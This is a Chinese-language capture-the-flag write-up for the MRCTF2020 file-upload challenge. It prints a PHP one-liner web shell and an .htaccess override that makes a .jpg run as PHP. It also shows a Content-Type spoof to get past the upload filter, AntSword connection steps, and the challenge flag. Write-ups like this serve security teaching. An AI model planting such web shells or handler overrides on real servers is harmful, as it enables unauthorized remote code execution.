(.htaccess文件特性)[MRCTF2020]你传你?呢 1
  rKeEjcARIgc2 2023年11月19日 20 0

题目环境:image.png

不难看出是一道文件上传漏洞

上传一句话木马文件burpsuite进行抓包 <?php @eval($_POST['shell']);?>

命名为PHP文件格式

image.pngRepeater进行重放image.pngimage.png

尝试了其它后缀进行绕过都没有成功 通过 application/x-php内容类型,可以看出被识别出是PHP文件,猜测作者使用了htaccess文件更改了相关配置

了解.htaccess文件

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 注意这几个字“改变文件扩展名”,后面会用到

尝试传入jpg文件(一句话木马不变) 回显结果是否会有所不同image.png

发现上传成功 访问上传的文件 image.png 图片加载失败 到这里猜想使用中国蚁剑是连接不成功的 不过咱们还是按照正常程序走一遍比较好

使用中国蚁剑进行连接image.png

返回数据为空 到这里我们的一句话木马并没有被识别出来,或者说并没有执行,猜测被拦截 尝试上传更改后的.htaccess文件

上传.htaccess文件

<FileMatch "1.jpg>
SetHandler application/x-httpd-php
</FileMatch>

上传的一句话木马文件要和1.jpg文件名一模一样 可以把这段代码理解为,将1.jpg文件内容当作PHP文件执行

image.png

发现被拦截了,更改内容类型为image/jpeg进行绕过

更改Content-Type内容类型为:image/jpegimage.png

.htaccess文件上传成功

再次上传1.jpg的木马文件image.pngimage.png

上传成功 访问成功 尝试使用蚁剑进行连接

使用中国蚁剑进行连接image.pngimage.pngimage.png得到flag: flag{11711c03-702e-43ac-b1fe-fec6c5297260}

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月19日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   2024年05月17日   32   0   0 网络安全
  pTtIhLb24H2d   2024年05月17日   34   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   38   0   0 网络安全
  OKgNPeBk991j   2024年05月18日   47   0   0 网络安全
  rKgO6TN7xbYO   2024年05月17日   38   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   53   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   36   0   0 网络安全
  YOkriIV1Am1d   2024年05月20日   39   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   37   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   40   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   34   0   0 网络安全
rKeEjcARIgc2